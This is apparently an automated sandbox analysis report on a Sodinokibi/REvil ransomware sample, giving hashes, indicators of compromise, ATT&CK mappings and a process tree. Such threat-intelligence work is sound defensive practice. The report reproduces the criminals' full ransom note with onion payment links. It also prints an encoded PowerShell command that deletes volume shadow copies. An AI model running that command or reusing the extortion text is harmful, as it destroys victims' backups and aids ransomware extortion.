sodinokibi | db583e09ea90ded0a3c534b0c71000fd2db204ddb6ade2431faa6c2e5adc4343

General

Target

ac3317e314bcdfba26c875d00e3bee70_JaffaCakes118.dll
Size

164KB
MD5

ac3317e314bcdfba26c875d00e3bee70
SHA1

46679779e7de6cbc72b8c58cc64065edd191f226
SHA256

db583e09ea90ded0a3c534b0c71000fd2db204ddb6ade2431faa6c2e5adc4343
SHA512

f3f241370c733cbaf9667d1dc00a8480c8fe67a49118fef757a9bcb4602654db53efa454f03a2108fd49a60cd1be0ff902d535fd6132edc0f061ff42d39f2f97
SSDEEP

3072:FWeI5JXJRGpUhFiWjmfb+HP+rnRfUhdT9sT4JtL8B:FWe29/GuzjmfCHWtUhO4/LO

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\914tn4n40-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 914tn4n40. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/48F9C7B955B3B5D8 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/48F9C7B955B3B5D8 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: mkF2PWRASehjDEcxkupgOWDiHqo2U7smnbW/j+qFY4vwlQ4jB1T+vwiImKxZJjeh Zg0OTRxhJ0RmCzxC6T4H2nymA7/5JYdTszA3vFVtNITimDT3V4Wo7Qp57wjDlET0 jJvBI/e8yMWWajZuTAlPYBr99Fc75PcDQj9s3nW6onDrjMTvAOLqGYgDeHAVOLGP 3cCyQH/MMyEylPDcPdNul9DacKyGVVNRocb55bgdR8jZUKOyi3ncy5XjFAi+Ty2O 0teGRZ3DzjNaoWYD1kGLRlLNLtCQVTtV+p/6ISc0p9FKHGTwjf92hltFyL5HIgfR JDX1qKRjdkqptLErnYBVSPPfun/ZmQeHCcH/al44ThBljXpVBH4E0D/0SVQFz0Rh lA9BSA2nK2Md8GrxM5yS2rLWIMtyMMFy7z84VIjHqj6tUKqd6sLabsiV4/aVAMO+ KJUdqFDfHECzHlO0x9F2mMTTv9sJIJmAU6o7SBlHj1a6Ty5i2VEXiFZsEPQNjayG xtSvIxfuJZC0NVYNJ3+SPKHAeRRzB8uEERcAXsBz5x6gr5i4/NevFCaQBVHg/c0I vM8QrVHz4wahc0tA+MX1yJAzRDqsKHTKZN2PweUemn7aIdy5yH1zZl53HOY+1yOE H4MM1IFO3HrXRBPWtVkMqpJtlSJh0Krjde/543nLeE/UrjRLxzI/knEb9sk6o5cC 1STrJlG4klubYkYr/h0imAnZmm1eql9I31ancMAgazv9KozRi9a0bN2ebrKWbUBY QlSXmABWsgknNhX4cKbcdIn6c0pykfrbiVu5+Luu+IrwnBDAoB7bsq5V/Ghp9i1j q9TXp9MZSpVhqzzxXTnHCzUvzR5z7M18snrP/xHSLatvAgL2jaSia2fZFUU0wfit 4446TKS71EgrZ3mmSQ85+YNAJ/ABCxjjbOe86/pqjamyoBf/IMu2RF7b2+l37mk/ e1fuPTbM0XEYXZkCs/bwRGl4TT8pvY0t9E/Avt8OGy7+2jHLMu6pAOJtlUXKdJIa 8FXLRzyP/5TH5qq9o8Ek8vcCGbMm2dluPQHKR6qlScrFxxwHx47YQBgt4HFPGB7/ k6MptCbTJ/r+plBufq/j6/l+YfZoMCxmD9WWbpoXMG9CNXI0wH7QlKf/kxSu6iNa pLdSwQd8NBtLbEN3aQ6rlpcAN74RcKurTNF2XPnd74LC8pI441AYK+ynEFw3UWLa EnLMNXQyY1ZPr75VW1hBPNPp Extension name: 914tn4n40 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/48F9C7B955B3B5D8

http://decryptor.top/48F9C7B955B3B5D8

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	\??\c:\program files\914tn4n40-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\WriteCompress.rle	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\914tn4n40-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectLimit.css	rundll32.exe
File opened for modification	\??\c:\program files\HideRedo.xps	rundll32.exe
File opened for modification	\??\c:\program files\SwitchReset.nfo	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\914tn4n40-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\914tn4n40-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\SplitInitialize.wmv	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\914tn4n40-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ApproveWait.html	rundll32.exe
File opened for modification	\??\c:\program files\AssertStart.mpeg3	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToProtect.reg	rundll32.exe
File opened for modification	\??\c:\program files\GrantConvertFrom.TTS	rundll32.exe
File opened for modification	\??\c:\program files\SplitExpand.wm	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1744	rundll32.exe
1884	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeBackupPrivilege	2800	vssvc.exe
Token: SeRestorePrivilege	2800	vssvc.exe
Token: SeAuditPrivilege	2800	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 1744	2300	rundll32.exe	28
PID 2300 wrote to memory of 1744	2300	rundll32.exe	28
PID 2300 wrote to memory of 1744	2300	rundll32.exe	28
PID 2300 wrote to memory of 1744	2300	rundll32.exe	28
PID 2300 wrote to memory of 1744	2300	rundll32.exe	28
PID 2300 wrote to memory of 1744	2300	rundll32.exe	28
PID 2300 wrote to memory of 1744	2300	rundll32.exe	28
PID 1744 wrote to memory of 1884	1744	rundll32.exe	29
PID 1744 wrote to memory of 1884	1744	rundll32.exe	29
PID 1744 wrote to memory of 1884	1744	rundll32.exe	29
PID 1744 wrote to memory of 1884	1744	rundll32.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\ac3317e314bcdfba26c875d00e3bee70_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\ac3317e314bcdfba26c875d00e3bee70_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1884

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2340

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\914tn4n40-readme.txt

Filesize
6KB

MD5
94c5046958644f24ac909c5a3a98dd25

SHA1
5043b85b4d465ca1c14b0807572bbbe17fc279ad

SHA256
4a92acd053cd8e724b54fe35bbb34e01ba036118adc42441be505d1724bd8aa8

SHA512
1e23d093fd4a5304f29a63a7f3016e05c0da37e207cda4b61adfcc42ce96b0f1ebc7ddd4454235b7a3a61c163e5e46bff5cb02f1b71ebd23c8ffc5734b084e5a

Download Submit
memory/1884-4-0x000007FEF56EE000-0x000007FEF56EF000-memory.dmp

Filesize
4KB

Download
memory/1884-7-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-6-0x0000000002620000-0x0000000002628000-memory.dmp

Filesize
32KB

Download
memory/1884-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/1884-8-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-9-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-10-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-11-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/1884-12-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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